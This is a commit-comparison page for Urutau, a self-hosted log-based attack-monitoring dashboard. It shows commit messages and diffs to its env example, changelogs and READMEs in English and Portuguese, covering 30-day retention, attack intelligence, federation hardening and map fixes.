Compare commits

..
4 Commits
Author SHA1 Message Date
Lucas RayanandClaude Opus 5.5 b7462c14fa feat: 1.2.0 attack intelligence, replay, 30-day history and new interface
CI / Docker image (build and smoke test) (push) Skipped
CI / Format and vet (push) Successful in 27s
CI / Dependency audit (push) Successful in 18s
CI / Tests (Linux, race detector) (push) Successful in 58s
Release / Plan (reuse the published image?) (push) Successful in 4s
Release / ci (push) Skipped
Release / Build image (amd64) (push) Skipped
Release / Build image (arm64) (push) Skipped
Release / Publish tags (push) Successful in 13s
Release / Gitea release (push) Successful in 5s
Intelligence: attack families mapped to MITRE ATT&CK, network type from
ASN/rDNS without external APIs, request cadence, sessions with
recon/probe/exploit/access/banned stages, campaigns across IPs, verdict
with reasons, recommended actions, exposure detection (2xx with a body
on sensitive paths), STIX 2.1 export, FCrDNS for search engine bots,
optional Tor exit list.

Data: 30-day retention, twelve ranges plus custom from/to, an on-disk
event log (daily files, hourly gzip members, size cap, corruption and
disk-full tolerant), /events, /period, /metrics with stable per-hour
metrics, an extended /ip/{ip}, and peer /period merged on the hub.

Interface: layout system with fixed card sizes, range picker in the
URL, IP analysis page, Replay page, Geography down to state and city
(Natural Earth admin-1), Live page redesigned with stable metrics and a
reusable attack map. Demo data and documentation screenshots.

Security: bounded and deadline-limited period computations, linear
campaign clustering, singleflight caches, sanitized peer studies, event
query budgets, gzip bomb guard.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 21:45:59 -03:00
Lucas RayanandClaude Opus 5.5 8f1ac462d1 fix(live): globe sea and land colors, world map antimeridian rings
CI / Docker image (build and smoke test) (push) Skipped
CI / Format and vet (push) Successful in 22s
CI / Tests (Linux, race detector) (push) Successful in 33s
CI / Dependency audit (push) Successful in 13s
Release / Plan (reuse the published image?) (push) Successful in 3s
Release / ci (push) Skipped
Release / Build image (amd64) (push) Skipped
Release / Build image (arm64) (push) Skipped
Release / Publish tags (push) Successful in 14s
Release / Gitea release (push) Successful in 3s
The globe clipped country rings by pushing hidden vertices to the limb
and closing them with chords, so the fill flipped between sea and land
as it turned. Rings are now clipped at the horizon and closed along the
limb in their own orientation; the path parser returns to the subpath
start after z; long edges follow the map projection.

gen-world.mjs unwraps longitudes and clips rings that cross the 180th
meridian (Russia, Fiji) at the map edge instead of leaving them open,
which filled the Sea of Okhotsk as land.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 19:27:57 -03:00
Lucas RayanandClaude Opus 5.5 783b0cba3e fix(fed): sanitize peer rows, cap peer bytes, add --peer-blocklist
CI / Docker image (build and smoke test) (push) Skipped
CI / Format and vet (push) Successful in 24s
CI / Tests (Linux, race detector) (push) Successful in 34s
CI / Dependency audit (push) Successful in 14s
Release / Plan (reuse the published image?) (push) Successful in 3s
Release / ci (push) Skipped
Release / Build image (amd64) (push) Skipped
Release / Build image (arm64) (push) Skipped
Release / Publish tags (push) Successful in 13s
Release / Gitea release (push) Successful in 4s
Peer events and summary rows are rebuilt from validated fields (address,
country code, category) and the forged/unban flags from peers are
ignored. The live relay drops a peer that exceeds about 1 MB/s, also
within a single window. --peer-blocklist=off keeps the hub's blocklist
to local observations. UI polish: plural forms, blocklist preview and
downloads follow the active slice, compact IP cards on phones. Docs for
the 1.1.0 interface.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 18:10:54 -03:00
Lucas RayanandClaude Opus 5.5 f4b295f582 feat: 1.1.0 interface, geography drill-down and live attack map
Release / Plan (reuse the published image?) (push) Successful in 4s
CI / Docker image (build and smoke test) (push) Skipped
CI / Format and vet (push) Successful in 19s
CI / Tests (Linux, race detector) (push) Successful in 35s
CI / Dependency audit (push) Successful in 16s
Release / ci (push) Successful in 35s
Release / Build image (arm64) (push) Successful in 51s
Release / Build image (amd64) (push) Successful in 1m11s
Release / Publish tags (push) Successful in 13s
Release / Gitea release (push) Skipped
A new console interface (side rail, seven pages, opening sentence and
active slice on every page, IP drawer, light and dark design tokens);
a Geography page that drills from the world to a country's regions and
cities; a Live page drawing attacks as arcs on a flat map or a globe.

Backend: GET /api/v1/geo, GET /api/v1/live/recent, host/src/dst on live
events, --location, a strict static file pattern, and live federation
through GET /api/v1/peer/stream (peer token only, bounded and sanitized
relay on the hub).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-14 17:47:28 -03:00
333 changed files with 23802 additions and 1328 deletions

No files matched your search

+7
View File
@@ -47,3 +47,10 @@ URUTAU_DOMAINS=
URUTAU_MONITOR_FROM=
# Time zone of the host: fail2ban.log timestamps are local time.
TZ=UTC
# Event registry size cap in <data-dir>/events (0 turns it off). Not passed by the
# compose file as is: add it to the `environment` block to change the 512MB default.
URUTAU_EVENTS_MAX=512MB
# Retention, up to 720h (30 days); same note as above.
URUTAU_RETENTION=720h
# File with Tor exit addresses (one per line); same note as above.
URUTAU_TOR_EXITS=
+3
View File
@@ -22,3 +22,6 @@ __pycache__/
/.superpowers
/.superset
/graphify-out
# Runtime pid files left by local test scripts
*.pid
+41 -1
View File
@@ -6,6 +6,46 @@ Format based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/); versio
## [Unreleased]
## [1.1.1] - 2026-11-14
### Fixed
- Live page, globe mode: sea and land colors no longer swap while the globe turns. Each country ring is now clipped at the horizon and closed along the edge of the globe, and long edges follow the map projection.
- World map data: countries crossing the 180th meridian (Russia, Fiji) are closed along the map edge, so the Sea of Okhotsk is no longer filled as land on the flat maps.
## [1.2.0] - 2026-11-14
### Added
- **Longer memory and any period:** the default and maximum retention is now 30 days (720h). Twelve ranges (`1h`, `2h`, `3h`, `6h`, `12h`, `24h`, `2d`, `3d`, `5d`, `7d`, `15d`, `30d`) and a custom period with `from` and `to` (unix seconds, at most 30 days). An invalid `range` answers 400, and `range` in the responses is now an object `{name,from,to,step,clipped}`; the timeline `step` (granularity) follows the window length.
- **Event registry** in `<data-dir>/events/`: one JSON line per event (the live-stream format), one file per UTC day, older days gzip compressed, bounded by age (the retention) and size (`--events-max` / `URUTAU_EVENTS_MAX`, default 512 MB, `0` turns it off). It keeps malicious events, ban and unban, successful SSH logins, a 404 to an attack tool, and `ok`/`notfound` answers only for addresses already suspicious or hostile; never a legitimate visitor. A full disk, the size cap or the daily line cap drop events (counted, never fatal), and a corrupted line is skipped.
- **Investigation API:** `GET /api/v1/events`, `/api/v1/events/sessions`, `/api/v1/period`, `/api/v1/period/events`, `/api/v1/metrics`, the new summarized `GET /api/v1/ip/{ip}` and `GET /api/v1/ip/{ip}/stix`; and the peer route `GET /api/v1/peer/period`, so the peer token now opens three routes (export, stream and period).
- **Intelligence:** attack families, MITRE ATT&CK techniques, network type (VPN, hosting, mobile, residential, Tor, research scanner; no external API), request cadence (automated, human-like, mixed), sessions with stages (recon, probe, exploit, access, banned), campaigns (several IPs doing the same thing), a verdict with reasons, recommended actions, exposure (a 2xx on a sensitive path), STIX 2.1 export, forward-confirmed reverse DNS for Googlebot and Bingbot, `--tor-exits` / `URUTAU_TOR_EXITS` (a file of Tor exit addresses) and SSH users from `--admin-users` marked as such.
- **Stable metrics** (no per-minute rates) in `/api/v1/metrics`: attacks per hour, trend, active and new attackers, returning rate, sessions per day, exposure rate, refused exploits, time to ban, ban and blocklist coverage and leak, SSH failures, and concentration by IP and ASN.
- **Interface:** a period selector (named ranges and a custom period), the IP analysis page (`#/ip/<ip>`), the Replay page (`#/replay`), Geography down to state and city (`#/geo/BR/Pernambuco/Recife`, state boundaries from Natural Earth, public domain) and a metrics column on the Live page.
### Changed
- The soft memory limit is 256 MiB (worst case measured: about 54 MiB of heap and a snapshot of about 27 MB). In Docker, `mem_limit: 384m` is recommended.
## [1.1.0] - 2026-11-14
### Added
- **New interface:** a side rail with seven pages (Overview, Threats, Geography, Live, Traffic, IPs, Sources and hosts), an opening sentence on every page with the number that matters, the active slice (range, host, domain) always written under the title, an IP detail drawer, and light and dark themes from design tokens.
- **Geography page:** a world map by attacker country; select a country to see its states or regions and cities (cities as circles on the zoomed country), the categories and the top IPs; select a region to narrow cities and IPs. The view lives in the URL (`#/geo/BR/Pernambuco`).
- **Live page:** attacks drawn as animated arcs from their origin to the server that saw them, on a flat map or a 3D globe, with rate, categories, servers, recent origins and the latest events; filters, pause and full screen. It opens by replaying the latest events, so it is never still on a quiet server.
- **API:** `GET /api/v1/geo` (countries, or one country with regions, cities and `top_ips`), `GET /api/v1/live/recent`, and `host`, `src` and `dst` on every live event.
- **Live federation:** the hub keeps `GET /api/v1/peer/stream` open on each peer and relays their live events, bounded and sanitized.
- **`--location` / `URUTAU_LOCATION`:** the position of the instance on the map.
- **`--peer-blocklist` / `URUTAU_PEER_BLOCKLIST`** (`on` by default): `off` keeps the hub's blocklist to local observations.
### Security
- Events and summary rows from peers are rebuilt from validated fields (address, country code, category); `forged` and `unban` flags from peers are ignored.
- The live relay disconnects a peer that sends more than about 1 MB/s, on top of the event rate cap.
- Static files are served from the embedded directory by a strict name pattern.
## [1.0.0] - 2026-11-14
First release.
@@ -22,7 +62,7 @@ First release.
- Federation: `--peer name=https://url` aggregates other instances. A hub only calls `GET /api/v1/peer/export?range=1h|24h|7d` (`{"v":1,"summary":...,"traffic":{...}}`, top 500 IPs with detail, cached 5 s) every 15 s, with a 4 s timeout, an 8 MB limit, no redirects, `https` required outside loopback, and sanitized, capped peer data. `--peer-allow` / `URUTAU_PEER_ALLOW` limits the source CIDRs of the export.
- Offline geolocation (country, city, ASN) from the DB-IP Lite databases (CC BY 4.0), downloaded and refreshed by Urutau (`--geo-dir`, `--geo-update`) and read by a built-in, dependency-free MMDB reader.
- User-Agent parsing into browser, operating system, device, bots and attack tools.
- Privacy-friendly web analytics for legitimate traffic (Traffic tab): unique visitors by a daily-salted hash, pages, referrers, countries, browsers, devices, latency p50 and p95, bytes and a world map. The IP of a legitimate visitor is never persisted. Threats and Traffic are separate tabs.
- Privacy-friendly web analytics for legitimate traffic (Traffic page): unique visitors by a daily-salted hash, pages, referrers, countries, browsers, devices, latency p50 and p95, bytes and a world map. The IP of a legitimate visitor is never persisted. Threats and Traffic are separate pages.
- Reverse DNS enrichment of listed IPs.
- Noise filters: `--trusted` / `URUTAU_TRUSTED` (alias `--ignore`) drops events from trusted CIDRs, and `--monitor-ua` / `URUTAU_MONITOR_UA` keeps benign monitoring requests (such as Uptime-Kuma) out of the traffic numbers.
- `urutau doctor [--json]` to check the configuration, the sources, the data directory, the geolocation databases and the snapshot; the JSON output carries `geo` and `state`.
+41 -1
View File
@@ -6,6 +6,46 @@ Formato baseado no [Keep a Changelog](https://keepachangelog.com/pt-BR/1.1.0/);
## [Unreleased]
## [1.1.1] - 2026-11-14
### Corrigido
- Página Ao vivo, modo globo: as cores do mar e da terra não se trocam mais enquanto o globo gira. Cada contorno de país agora é recortado no horizonte e fechado ao longo da borda do globo, e as arestas longas seguem a projeção do mapa.
- Dados do mapa-múndi: países que cruzam o meridiano 180 (Rússia, Fiji) são fechados ao longo da borda do mapa, então o Mar de Okhotsk não é mais pintado como terra nos mapas planos.
## [1.2.0] - 2026-11-14
### Adicionado
- **Memória maior e qualquer período:** a retenção padrão e máxima agora é 30 dias (720h). Doze intervalos (`1h`, `2h`, `3h`, `6h`, `12h`, `24h`, `2d`, `3d`, `5d`, `7d`, `15d`, `30d`) e um período personalizado com `from` e `to` (segundos unix, no máximo 30 dias). Um `range` inválido responde 400, e `range` nas respostas agora é um objeto `{name,from,to,step,clipped}`; o `step` (granularidade) da linha do tempo acompanha o tamanho da janela.
- **Registro de eventos** em `<data-dir>/events/`: uma linha JSON por evento (o formato do stream ao vivo), um arquivo por dia UTC, dias antigos compactados com gzip, limitado por idade (a retenção) e por tamanho (`--events-max` / `URUTAU_EVENTS_MAX`, padrão 512 MB, `0` desliga). Guarda eventos maliciosos, ban e unban, logins SSH bem-sucedidos, um 404 para uma ferramenta de ataque, e respostas `ok`/`notfound` só de endereços já suspeitos ou hostis; nunca um visitante legítimo. Disco cheio, o teto de tamanho ou o teto diário de linhas descartam eventos (contados, nunca fatais), e uma linha corrompida é ignorada.
- **API de investigação:** `GET /api/v1/events`, `/api/v1/events/sessions`, `/api/v1/period`, `/api/v1/period/events`, `/api/v1/metrics`, o novo `GET /api/v1/ip/{ip}` resumido e `GET /api/v1/ip/{ip}/stix`; e a rota de peer `GET /api/v1/peer/period`, então o token de peer agora abre três rotas (export, stream e period).
- **Inteligência:** famílias de ataque, técnicas MITRE ATT&CK, tipo de rede (VPN, hospedagem, móvel, residencial, Tor, scanner de pesquisa; sem API externa), cadência das requisições (automatizada, humana, mista), sessões com estágios (recon, probe, exploit, access, banned), campanhas (vários IPs fazendo a mesma coisa), um veredito com razões, ações recomendadas, exposição (um 2xx em caminho sensível), exportação STIX 2.1, DNS reverso confirmado para Googlebot e Bingbot, `--tor-exits` / `URUTAU_TOR_EXITS` (um arquivo com endereços de saída do Tor) e usuários SSH de `--admin-users` marcados como tal.
- **Métricas estáveis** (sem taxa por minuto) em `/api/v1/metrics`: ataques por hora, tendência, atacantes ativos e novos, taxa de retorno, sessões por dia, taxa de exposição, exploits recusados, tempo até o ban, cobertura e vazamento de ban e blocklist, falhas SSH e concentração por IP e ASN.
- **Interface:** seletor de período (intervalos nomeados e período personalizado), página de análise de IP (`#/ip/<ip>`), página Replay (`#/replay`), Geografia até estado e cidade (`#/geo/BR/Pernambuco/Recife`, limites dos estados do Natural Earth, domínio público) e uma coluna de métricas na página Ao vivo.
### Alterado
- O limite suave de memória é 256 MiB (pior caso medido: cerca de 54 MiB de heap e um snapshot de cerca de 27 MB). No Docker, recomenda-se `mem_limit: 384m`.
## [1.1.0] - 2026-11-14
### Adicionado
- **Interface nova:** trilho lateral com sete páginas (Visão geral, Ameaças, Geografia, Ao vivo, Tráfego, IPs, Fontes e hosts), uma frase de abertura em cada página com o número que importa, o recorte ativo (intervalo, host, domínio) sempre escrito sob o título, painel de detalhe de IP e temas claro e escuro a partir de tokens de design.
- **Página Geografia:** mapa-múndi por país de origem dos ataques; selecione um país para ver estados ou regiões e cidades (cidades como círculos no país ampliado), as categorias e os IPs principais; selecione uma região para filtrar cidades e IPs. A vista fica na URL (`#/geo/BR/Pernambuco`).
- **Página Ao vivo:** ataques desenhados como arcos animados da origem até o servidor que os viu, em mapa plano ou globo 3D, com ritmo, categorias, servidores, origens recentes e os últimos eventos; filtros, pausa e tela cheia. Ela abre reproduzindo os últimos eventos, então nunca fica parada num servidor calmo.
- **API:** `GET /api/v1/geo` (países, ou um país com regiões, cidades e `top_ips`), `GET /api/v1/live/recent`, e `host`, `src` e `dst` em cada evento ao vivo.
- **Federação ao vivo:** o hub mantém `GET /api/v1/peer/stream` aberto em cada peer e repassa os eventos ao vivo deles, com limites e sanitização.
- **`--location` / `URUTAU_LOCATION`:** a posição da instância no mapa.
- **`--peer-blocklist` / `URUTAU_PEER_BLOCKLIST`** (`on` por padrão): `off` restringe a blocklist do hub às observações locais.
### Segurança
- Eventos e linhas de resumo vindos de peers são reconstruídos a partir de campos validados (endereço, código de país, categoria); os sinalizadores `forged` e `unban` vindos de peers são ignorados.
- O repasse ao vivo desconecta um peer que mande mais de cerca de 1 MB/s, além do teto de eventos.
- Os arquivos estáticos são servidos do diretório embutido por um padrão de nome estrito.
## [1.0.0] - 2026-11-14
Primeira versão.
@@ -22,7 +62,7 @@ Primeira versão.
- Federação: `--peer nome=https://url` agrega outras instâncias. Um hub só chama `GET /api/v1/peer/export?range=1h|24h|7d` (`{"v":1,"summary":...,"traffic":{...}}`, 500 IPs principais com detalhe, cache de 5 s) a cada 15 s, com timeout de 4 s, limite de 8 MB, sem redirects, `https` obrigatório fora de loopback e dados do peer sanitizados e limitados. `--peer-allow` / `URUTAU_PEER_ALLOW` limita os CIDRs de origem do export.
- Geolocalização offline (país, cidade, ASN) a partir das bases DB-IP Lite (CC BY 4.0), baixadas e atualizadas pelo Urutau (`--geo-dir`, `--geo-update`) e lidas por um leitor MMDB embutido e sem dependências.
- Interpretação de User-Agent em navegador, sistema operacional, dispositivo, bots e ferramentas de ataque.
- Web analytics amigável à privacidade para o tráfego legítimo (aba Tráfego): visitantes únicos por hash com sal diário, páginas, referrers, países, navegadores, dispositivos, latência p50 e p95, bytes e mapa-múndi. O IP de um visitante legítimo nunca é persistido. Ameaças e Tráfego são abas separadas.
- Web analytics amigável à privacidade para o tráfego legítimo (página Tráfego): visitantes únicos por hash com sal diário, páginas, referrers, países, navegadores, dispositivos, latência p50 e p95, bytes e mapa-múndi. O IP de um visitante legítimo nunca é persistido. Ameaças e Tráfego são páginas separadas.
- Enriquecimento com DNS reverso dos IPs listados.
- Filtros de ruído: `--trusted` / `URUTAU_TRUSTED` (alias `--ignore`) descarta eventos de CIDRs confiáveis, e `--monitor-ua` / `URUTAU_MONITOR_UA` mantém requisições benignas de monitoramento (como o Uptime-Kuma) fora dos números de tráfego.
- `urutau doctor [--json]` para conferir a configuração, as fontes, o diretório de dados, as bases de geolocalização e o snapshot; a saída JSON traz `geo` e `state`.
+36 -8
View File
@@ -8,6 +8,12 @@
---
<p align="center"><img src="docs/img/overview-dark.png" width="900" alt="Urutau overview page: headline sentence, KPI cards, activity by category timeline"><br><sub>The Overview page: hostile IPs, attack rate and activity by category (demo data).</sub></p>
<p align="center"><img src="docs/img/live-globe-dark.png" width="900" alt="Urutau live page on the 3D globe: animated arcs from attacker cities to the servers edge-1 and edge-2"><br><sub>Live: attacks as animated arcs on a 3D globe (demo data, reserved addresses only).</sub></p>
<p align="center"><img src="docs/img/ip-analysis-dark.png" width="900" alt="Urutau IP analysis page: verdict, score, critical exposure and recommended actions for one attacker"><br><sub>IP analysis: verdict, evidence and recommended actions for one address.</sub></p>
**Status: stable, v1.0.0.** See [CHANGELOG.md](CHANGELOG.md) for exactly what shipped.
Urutau is a small panel that runs on each of your servers (as a container), reads the logs the server already writes, and answers one question: who is attacking me right now? It classifies hostile activity, scores every source IP, keeps a rolling window on disk and serves an embedded dashboard, a JSON API and an exportable blocklist.
@@ -17,11 +23,11 @@ Urutau is a small panel that runs on each of your servers (as a container), read
- **Scores IPs:** every event adds weight to its source IP. A score of 10 or more is **suspicious**; **hostile** needs 50 or more **and** a strong signal (an attack tool, two or more attack categories, a ban, or a clear exploit attempt that was refused). Scanner and exploit probes that got a 2xx or 3xx answer weigh only 0.5. An IP with a successful SSH login is never hostile and never reaches the blocklist.
- **Geolocation, offline:** country, city and ASN for every IP from the free DB-IP Lite databases, downloaded and refreshed by Urutau itself, read by a built-in MMDB reader with no dependency. Nothing is looked up online.
- **Understands User-Agents:** browser, operating system, device, bots and attack tools.
- **Web analytics for legitimate traffic:** unique visitors, pages, referrers, countries, browsers, devices, latency (p50 and p95) and bytes, with a world map, replacing your proxy's analytics. Separate **Threats** and **Traffic** tabs.
- **Lightweight:** Go standard library only, one static binary, a soft memory limit of 160 MiB, state in a single snapshot file. No database.
- **Live dashboard:** embedded vanilla UI (English and Portuguese, light and dark), updated through Server-Sent Events.
- **Web analytics for legitimate traffic:** unique visitors, pages, referrers, countries, browsers, devices, latency (p50 and p95) and bytes, with a world map, replacing your proxy's analytics. Separate **Threats** and **Traffic** pages.
- **Lightweight:** Go standard library only, one static binary, a soft memory limit of 256 MiB, state in a single snapshot file. No database.
- **Live dashboard:** embedded vanilla UI (English and Portuguese, light and dark), updated through Server-Sent Events, with nine pages (see below).
- **Blocklist:** hostile, globally routable IPs as plain text or JSON, ready for fail2ban, ipset, nginx or a firewall. IPv6 is aggregated by /64 and exported as `x:x:x:x::/64`.
- **Federation:** one instance (the hub) aggregates others with `--peer name=url`, pulling `/api/v1/peer/export`.
- **Federation:** one instance (the hub) aggregates others with `--peer name=url`, pulling `/api/v1/peer/export` and relaying their live events through `/api/v1/peer/stream`.
## How it works
@@ -39,10 +45,31 @@ Urutau is a small panel that runs on each of your servers (as a container), read
dashboard (SSE) /api/v1/* JSON blocklist.txt / .json
hub ── GET /api/v1/peer/export (peer token) ──► peer A
│ ── GET /api/v1/peer/stream (live events) ──► peer A
│ ── GET /api/v1/peer/export (peer token) ──► peer B
│ ── GET /api/v1/peer/stream (live events) ──► peer B
└──► one dashboard for the whole fleet
```
## Investigation
Beyond live numbers, Urutau remembers and explains. It keeps 30 days of state and an event registry on disk (`<data-dir>/events/`, capped by `--events-max`, 512 MB by default), so you can pick any period (twelve named ranges or a custom `from`/`to`), replay it, and open an IP analysis page with a verdict and its reasons, attack families, MITRE ATT&CK techniques, network type, cadence, sessions, campaigns and recommended actions, with a STIX 2.1 export. The registry holds attackers only: never the address of a legitimate visitor. See [docs/architecture.md](docs/architecture.md).
## Interface
Nine pages, in a side rail, with the view kept in the URL hash:
- **Overview:** the headline numbers, the timeline and the top IPs. A period selector (named ranges or a custom period) applies to every page.
- **Threats:** categories over time, the live feed and the top attacked paths, domains, User-Agents and users.
- **Geography:** a world map by attacker country; drill down country, state, city (`#/geo/BR/Pernambuco/Recife`).
- **Live:** attacks as animated arcs from their origin to the server that saw them, on a flat map or a 3D globe, including the events of your peers. `--location` (`URUTAU_LOCATION`, `"lat,lon"` or `"lat,lon,label"`) sets where this server sits on the map.
- **Traffic:** privacy-friendly web analytics for legitimate visitors.
- **IPs:** the scored IP table, and the **IP analysis** page (`#/ip/<ip>`).
- **Replay:** a period played back on the map (`#/replay`).
- **Sources and hosts:** log sources, peers and the blocklist.
See [docs/interface.md](docs/interface.md).
## Install
Run it with Docker Compose (recommended):
@@ -87,7 +114,7 @@ Your own infrastructure produces events too. Two filters keep it out of the pict
- `--trusted` / `URUTAU_TRUSTED`: CIDRs of trusted origins (your office, your monitors, your other servers). Their events are dropped entirely. `--ignore` remains as an alias.
- `--monitor-ua` / `URUTAU_MONITOR_UA`: a regular expression matching monitoring User-Agents (the default includes Uptime-Kuma). A request that matches and is benign is not counted as traffic; it feeds a separate "monitoring" counter. If the same request is a `scanner`, `exploit` or `bruteforce`, it counts as an attack, because a User-Agent is trivial to forge.
- `--monitor-from` / `URUTAU_MONITOR_FROM`: CIDRs the monitors really come from. When set, the monitoring User-Agent is honored only from those networks. Without it, only `ok` answers are filtered (a `notfound` from a monitor User-Agent still counts), since anyone can forge the header.
- `--domains` / `URUTAU_DOMAINS`: an allowlist of domains for the Traffic tab (exact names or `*.example.com`). A domain only gets a slot after a 2xx answer, and inactive domains are pruned, so random `Host` headers cannot fill the analytics.
- `--domains` / `URUTAU_DOMAINS`: an allowlist of domains for the Traffic page (exact names or `*.example.com`). A domain only gets a slot after a 2xx answer, and inactive domains are pruned, so random `Host` headers cannot fill the analytics.
## Geolocation and attribution
@@ -95,7 +122,7 @@ Urutau shows country, city and ASN for every IP using the free **DB-IP Lite** da
> IP geolocation data by [DB-IP](https://db-ip.com), licensed under [CC BY 4.0](https://creativecommons.org/licenses/by/4.0/).
The attribution is also shown in the dashboard. If you redistribute the databases or anything derived from them, keep it.
The attribution is also shown in the dashboard. The state and city boundaries drawn on the Geography page come from [Natural Earth](https://www.naturalearthdata.com) (public domain). If you redistribute the databases or anything derived from them, keep it.
## Privacy
@@ -161,7 +188,7 @@ See **[CONTRIBUTING.md](CONTRIBUTING.md)** and **[docs/architecture.md](docs/arc
## Known limits
- Only three sources: Traefik JSON access log, sshd lines from `auth.log` (ISO timestamps) and `fail2ban.log`.
- State is kept for 7 days at most (`--retention`), with up to 20,000 tracked IPs.
- State is kept for 30 days at most (`--retention`), with up to 20,000 tracked IPs; the event registry is capped by `--events-max`.
- The dashboard login is a single shared token; there are no user accounts.
- Scores are heuristics, not proof of malicious intent.
@@ -172,8 +199,9 @@ Summary of the [ROADMAP](ROADMAP.md):
| | |
|---|---|
| **Done (1.0.0)** | Log collection, classification and scoring, offline geolocation, User-Agent parsing, privacy-friendly web analytics, snapshot persistence, dashboard with SSE, token login, blocklist, federation, Docker image and CI/CD |
| **Done (1.2.0)** | 30-day retention, any period, on-disk event registry, replay, IP analysis with verdict, MITRE ATT&CK, campaigns, STIX 2.1 and stable metrics |
| **Next** | More log sources, webhook alerts, Prometheus metrics |
| **Later** | IP reputation enrichment, longer retention |
| **Later** | IP reputation enrichment |
| **Not planned** | Active scanning or counterattack, mandatory cloud services, telemetry |
## License
+37 -9
View File
@@ -8,6 +8,12 @@
---
<p align="center"><img src="docs/img/overview-dark-pt.png" width="900" alt="Página Visão geral do Urutau: frase de destaque, cartões de KPI e linha do tempo por categoria"><br><sub>A página Visão geral: IPs hostis, taxa de ataques e atividade por categoria (dados de demonstração).</sub></p>
<p align="center"><img src="docs/img/live-globe-dark-pt.png" width="900" alt="Página Ao vivo do Urutau no globo 3D: arcos animados das cidades dos atacantes até os servidores edge-1 e edge-2"><br><sub>Ao vivo: ataques como arcos animados num globo 3D (dados de demonstração, só endereços reservados).</sub></p>
<p align="center"><img src="docs/img/ip-analysis-dark-pt.png" width="900" alt="Página de análise de IP do Urutau: veredito, pontuação, exposição crítica e ações recomendadas para um atacante"><br><sub>Análise de IP: veredito, evidências e ações recomendadas para um endereço.</sub></p>
**Status: estável, v1.0.0.** Veja o [CHANGELOG.pt-BR.md](CHANGELOG.pt-BR.md) para saber exatamente o que foi entregue.
O Urutau é um painel pequeno que roda em cada um dos seus servidores (como container), lê os logs que o servidor já escreve e responde a uma pergunta: quem está me atacando agora? Ele classifica a atividade hostil, pontua cada IP de origem, mantém uma janela móvel em disco e serve um dashboard embutido, uma API JSON e uma blocklist exportável.
@@ -17,11 +23,11 @@ O Urutau é um painel pequeno que roda em cada um dos seus servidores (como cont
- **Pontua IPs:** cada evento soma peso ao IP de origem. Pontuação 10 ou mais é **suspeito**; **hostil** exige 50 ou mais **e** um sinal forte (uma ferramenta de ataque, duas ou mais categorias de ataque, um ban ou uma tentativa clara de exploit recusada). Sondas de scanner e exploit que receberam resposta 2xx ou 3xx pesam só 0,5. Um IP com login SSH bem-sucedido nunca é hostil e nunca vai para a blocklist.
- **Geolocalização offline:** país, cidade e ASN de todo IP a partir das bases gratuitas DB-IP Lite, baixadas e atualizadas pelo próprio Urutau, lidas por um leitor MMDB embutido e sem dependências. Nada é consultado online.
- **Entende User-Agents:** navegador, sistema operacional, dispositivo, bots e ferramentas de ataque.
- **Web analytics do tráfego legítimo:** visitantes únicos, páginas, referrers, países, navegadores, dispositivos, latência (p50 e p95) e bytes, com mapa-múndi, no lugar do analytics do seu proxy. Abas **Ameaças** e **Tráfego** separadas.
- **Leve:** só biblioteca padrão do Go, um binário estático, limite suave de memória de 160 MiB, estado em um único arquivo de snapshot. Sem banco de dados.
- **Dashboard ao vivo:** UI vanilla embutida (inglês e português, claro e escuro), atualizada por Server-Sent Events.
- **Web analytics do tráfego legítimo:** visitantes únicos, páginas, referrers, países, navegadores, dispositivos, latência (p50 e p95) e bytes, com mapa-múndi, no lugar do analytics do seu proxy. Páginas **Ameaças** e **Tráfego** separadas.
- **Leve:** só biblioteca padrão do Go, um binário estático, limite suave de memória de 256 MiB, estado em um único arquivo de snapshot. Sem banco de dados.
- **Dashboard ao vivo:** UI vanilla embutida (inglês e português, claro e escuro), atualizada por Server-Sent Events, com nove páginas (veja abaixo).
- **Blocklist:** IPs hostis e globalmente roteáveis em texto ou JSON, prontos para fail2ban, ipset, nginx ou firewall. O IPv6 é agregado por /64 e exportado como `x:x:x:x::/64`.
- **Federação:** uma instância (o hub) agrega outras com `--peer nome=url`, puxando `/api/v1/peer/export`.
- **Federação:** uma instância (o hub) agrega outras com `--peer nome=url`, puxando `/api/v1/peer/export` e repassando os eventos ao vivo deles por `/api/v1/peer/stream`.
## Como funciona
@@ -39,10 +45,31 @@ O Urutau é um painel pequeno que roda em cada um dos seus servidores (como cont
dashboard (SSE) /api/v1/* JSON blocklist.txt / .json
hub ── GET /api/v1/peer/export (token de peer) ──► peer A
│ ── GET /api/v1/peer/stream (eventos ao vivo) ──► peer A
│ ── GET /api/v1/peer/export (token de peer) ──► peer B
│ ── GET /api/v1/peer/stream (eventos ao vivo) ──► peer B
└──► um dashboard para a frota inteira
```
## Investigação
Além dos números ao vivo, o Urutau lembra e explica. Ele guarda 30 dias de estado e um registro de eventos em disco (`<data-dir>/events/`, limitado por `--events-max`, 512 MB por padrão), então você pode escolher qualquer período (doze intervalos nomeados ou um `from`/`to` personalizado), reproduzi-lo e abrir uma página de análise de IP com um veredito e suas razões, famílias de ataque, técnicas MITRE ATT&CK, tipo de rede, cadência, sessões, campanhas e ações recomendadas, com exportação STIX 2.1. O registro guarda só atacantes: nunca o endereço de um visitante legítimo. Veja [docs/pt-BR/arquitetura.md](docs/pt-BR/arquitetura.md).
## Interface
Nove páginas, numa barra lateral, com a visão guardada no hash da URL:
- **Visão geral:** os números principais, a linha do tempo e os principais IPs. Um seletor de período (intervalos nomeados ou período personalizado) vale para todas as páginas.
- **Ameaças:** categorias ao longo do tempo, o feed ao vivo e os principais caminhos atacados, domínios, User-Agents e usuários.
- **Geografia:** um mapa-múndi por país do atacante; detalhamento país, estado, cidade (`#/geo/BR/Pernambuco/Recife`).
- **Ao vivo:** ataques como arcos animados da origem até o servidor que os viu, em mapa plano ou globo 3D, incluindo os eventos dos seus peers. `--location` (`URUTAU_LOCATION`, `"lat,lon"` ou `"lat,lon,rótulo"`) define onde este servidor fica no mapa.
- **Tráfego:** web analytics amigável à privacidade para visitantes legítimos.
- **IPs:** a tabela de IPs pontuados e a página de **análise de IP** (`#/ip/<ip>`).
- **Replay:** um período reproduzido no mapa (`#/replay`).
- **Fontes e hosts:** fontes de log, peers e a blocklist.
Veja [docs/pt-BR/interface.md](docs/pt-BR/interface.md).
## Instalação
Rode com Docker Compose (recomendado):
@@ -87,7 +114,7 @@ Sua própria infraestrutura também gera eventos. Dois filtros a tiram do quadro
